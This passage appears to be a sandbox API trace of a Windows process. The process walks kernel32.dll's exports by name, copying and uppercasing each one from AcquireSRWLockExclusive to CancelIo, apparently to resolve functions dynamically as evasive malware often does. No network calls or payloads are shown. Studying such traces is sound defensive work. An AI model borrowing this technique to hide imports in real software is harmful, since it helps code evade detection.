(lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0121.751] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0121.751] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0121.752] lstrlenA (lpString="kernel32.dll") returned 12 [0121.752] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0121.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0121.752] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0121.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0121.752] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0121.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0121.752] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0121.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0121.752] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0121.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0121.752] lstrlenA (lpString="ADDATOMA") returned 8 [0121.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0121.752] lstrlenA (lpString="ADDATOMW") returned 8 [0121.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0121.752] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0121.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0121.752] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0121.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0121.752] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0121.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0121.752] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0121.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0121.752] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0121.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0121.752] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0121.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0121.752] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0121.752] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0121.753] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0121.753] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0121.753] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0121.753] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0121.753] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0121.753] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0121.753] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0121.753] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0121.753] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0121.753] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0121.753] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0121.753] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0121.753] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0121.753] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0121.753] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0121.753] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0121.753] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0121.753] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0121.753] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0121.753] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0121.753] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0121.753] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0121.753] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0121.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0121.754] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0121.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0121.754] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0121.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0121.754] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0121.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0121.754] lstrlenA (lpString="BACKUPREAD") returned 10 [0121.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0121.754] lstrlenA (lpString="BACKUPSEEK") returned 10 [0121.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0121.754] lstrlenA (lpString="BACKUPWRITE") returned 11 [0121.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0121.754] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0121.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0121.754] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0121.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0121.754] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0121.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0121.754] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0121.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0121.754] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0121.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0121.754] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0121.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0121.754] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0121.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0121.754] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0121.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0121.754] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0121.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0121.754] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0121.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0121.754] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0121.754] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0121.754] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0121.755] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0121.755] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0121.755] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0121.755] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0121.755] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0121.755] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0121.755] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0121.755] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0121.755] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0121.755] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0121.755] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0121.755] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0121.755] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0121.755] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0121.755] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0121.755] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0121.755] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0121.755] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0121.755] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0121.755] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0121.755] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0121.756] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0121.756] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0121.756] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0121.756] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0121.756] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0121.756] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0121.756] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0121.756] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0121.756] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0121.756] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0121.756] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0121.756] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0121.756] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0121.756] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0121.756] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0121.756] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0121.756] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0121.756] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0121.756] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0121.756] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0121.756] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0121.756] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0121.757] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0121.757] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0121.757] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0121.757] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0121.757] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0121.757] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0121.757] lstrlenA (lpString="BEEP") returned 4 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0121.757] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0121.757] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0121.757] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0121.757] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0121.757] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0121.757] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0121.757] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0121.757] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0121.757] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0121.757] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0121.757] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0121.757] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | 